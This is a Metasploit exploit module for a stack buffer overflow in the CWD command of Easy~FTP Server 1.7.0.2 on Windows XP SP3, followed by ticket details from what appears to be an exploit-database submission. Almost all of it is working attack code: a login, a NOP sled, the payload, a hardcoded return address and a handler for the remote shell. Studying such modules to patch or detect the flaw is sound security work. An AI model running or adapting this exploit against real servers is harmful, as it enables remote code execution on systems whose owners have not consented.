Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow

`New Ticket: Easy~FTP BoF (meta)  
  
# Exploit Title: Easy~FTP  
# Date: March 9, 2010  
# Author: Blake  
# Version: 1.7.0.2  
# Tested on: Windows XP SP3  
# CVE :  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy~FTP Server v1.7.0.2 CWD Command Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the CWD verb in Easy~FTP Server.  
  
You must have valid credentials to trigger this vulnerability.  
},  
'Author' => 'Blake',  
'License' => MSF_LICENSE,  
'Version' => 'version 1',  
'References' =>  
[  
[ 'CVE', ''],  
[ 'OSVDB', ''],  
[ 'EDB-ID', '11539'],  
[ 'URL', 'http://www.exploit-db.com/exploits/11539' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 268,  
'BadChars' => "\x00\x20\x0a\x0d\x2f\x5c",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
  
[ 'Windows XP SP3 English', { 'Ret' => 0x009AFD58 } ],  
  
],  
'DisclosureDate' => 'February 15, 2010',  
'DefaultTarget' => 0))  
end  
  
  
def exploit  
connect_login  
  
sploit = "\x90" * (268 - payload.encoded.length)  
sploit << payload.encoded  
sploit << [target.ret].pack('V')  
  
print_status("Trying target #{target.name<http://target.name>}...")  
  
send_cmd( ['CWD', sploit] , false)  
  
handler  
disconnect  
end  
  
end  
  
  
  
Ticket Details  
===================  
Ticket ID: OCE-490401  
Department: Exploits  
Priority: Medium  
Status: Open  
Link: http://ph33rus.offsec.com/3874623487438734587634/staff/index.php?_m=tickets&_a=viewticket&ticketid=2543  
`